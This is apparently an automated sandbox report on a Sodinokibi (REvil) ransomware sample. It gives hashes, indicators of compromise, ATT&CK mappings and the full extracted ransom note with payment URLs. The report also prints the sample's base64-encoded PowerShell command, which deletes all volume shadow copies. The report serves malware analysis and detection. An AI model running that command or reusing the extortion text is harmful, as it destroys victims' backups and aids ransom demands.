sodinokibi | 6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970

General

Target

6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
Size

244KB
MD5

f82f4f596705763a3c0124a4675d484e
SHA1

df1e8b4522bc439d338848f9a4d09d5b1c26f5da
SHA256

6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970
SHA512

6a0183c211b53cbaf470bd1ab26c347222850dde0fd529aec544ecdf6ab881f06ea7e3a7432497083ac515fec6c07ffcad89ad79f8687fc44dc60b54e3475dfd

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Path

C:\w5vhls-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension w5vhls. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2D93158E4D06F3D1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/2D93158E4D06F3D1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: J107cgikUoblxr/X8LA+pQzXRsDkPIIvd2iSc6q5IWCqj2YXPm8n6MC1gGf25BOm Cud6yO2dKhONVyydYUwaEmZzvx4P7zKuHOVDQkiXaehNAKlw6MXMywKzCknzm+Zl 5oKLXn+zJPtRXMOw6/ona7wTZRibQj9RKDFbsEekolETFcdwxGmuv49FB0vPr59/ sXGOnZkliUmID728TwnHlfITVHHvnw7zy0pBj6VP44jcowqouSU/jbak4hbKB4RR NnnytQiLW1A9tx3+r9oDyRlewX07bWl2JsTQtebrFZH8uXLtRrpcpKRSaerTinG5 oaAviZQjMqgtJkXBvs2Wi2cDSukCXDElb06BwYItiPs1YVB1eHP/reQxIHjHZ5Ea xXZu8LjyQqgpWosVsXDLFDzZqxsKncTXrqTlV3raIQ+OdyNQHiEUmdJ7u5luDnxw VpaJkEi3MLft9r3cdHfPvy6MAQyoGVOZfUFNyVzQXVCCmJGWv2VOIgTfiZpluIGv 5Zk9d1gqtNGUNeo/mmy2YaJki2rGTzEg83drGkmHVraBaETDU6KlXVzxG5ffXl66 8h4Ai4D3CNSka1yFasIixcB5faTQz0dATZowCh9imeHe+12bfj3csxubGjiMDMk7 wAdMnVDA+IpJfUtTByEgbITruQiGpzczuaOZHVKfIfk9I64X+Zj7KJALBl/KeZBF yCWre//b1xgRy7+jJH9lsJuO6hvOoLCKUc4GtATRSu9OcyI8xaNHQW71Gzpid164 3ZG51TfS1+d4zB6thfveRT9JadMdkM3AiEQ9QLQlm953mQiBb78IKwGl9eMyHk+a dGA0prI2NeuNYdk7yjmE7+3kgW6ZtXCOfofkMdmNDpE+6qqSbHvj5mDfJ6q9yXtJ SA3CF3hdTkobKSeQu+q4KBf4vfiTk+9LeLUtTy4sPUhA4YyEtN4M/nrYMjqws2Xo oGe5eJjQ3a7rPOedQMbXxYpQF2l/VMSfiqUMOtYtGG4MyATIQptbaPnBh7iHYk22 /BcrM8YEIMJW+s91Hpt9hum/Y/NMrsbWzFVqn9yKeAw4Cpyav1h9HCbbl74F+pZc noeuKD5VSN2mLKEt9eOCCan0nR/lgpp9aOpVosjQ+VeqoBivchQxq+3cqCBhT72g RaLyqEfV1qxy26nd9HH+5/sSMejZHqUxzOR05BMPmOMEp1Pekbs1A+TizkyDDdDh t5HIsmhahsolxoCcCkFYGahyUFGdSFXdsMW5DYc/ZzMAd5WChdUB6m1EZgBnwc59 OGaDdF6sM+ZptbpVCpnTLA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2D93158E4D06F3D1

http://decryptor.cc/2D93158E4D06F3D1

Signatures

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 11 IoCs

Processes:

6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe

description	ioc	process
File opened for modification	\??\c:\program files\BlockPop.aif	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\ConvertToEnable.001	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\InvokeReset.avi	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\UndoProtect.svg	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File created	\??\c:\program files\w5vhls-readme.txt	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\ApproveUse.xml	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\CompareInstall.dotm	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\CopyExpand.mht	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\NewInitialize.i64	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File opened for modification	\??\c:\program files\SuspendConfirm.ini	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
File created	\??\c:\program files (x86)\w5vhls-readme.txt	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7h8yy2c8gmo.bmp"	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2920	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeBackupPrivilege	3212	vssvc.exe
Token: SeRestorePrivilege	3212	vssvc.exe
Token: SeAuditPrivilege	3212	vssvc.exe
Token: SeTakeOwnershipPrivilege	2920	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exepowershell.exe

pid	process
2920	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
2920	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
3640	powershell.exe
3640	powershell.exe
3640	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe

description	pid	process	target process
PID 2920 wrote to memory of 3640	2920	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe	powershell.exe
PID 2920 wrote to memory of 3640	2920	6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
"C:\Users\Admin\AppData\Local\Temp\6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe"
1⤵
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3640

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1732

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3212

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/2920-0-0x0000000000CF1000-0x0000000000CF2000-memory.dmp

Filesize
4KB

Download
memory/2920-1-0x0000000001080000-0x0000000001081000-memory.dmp

Filesize
4KB

Download
memory/3640-2-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads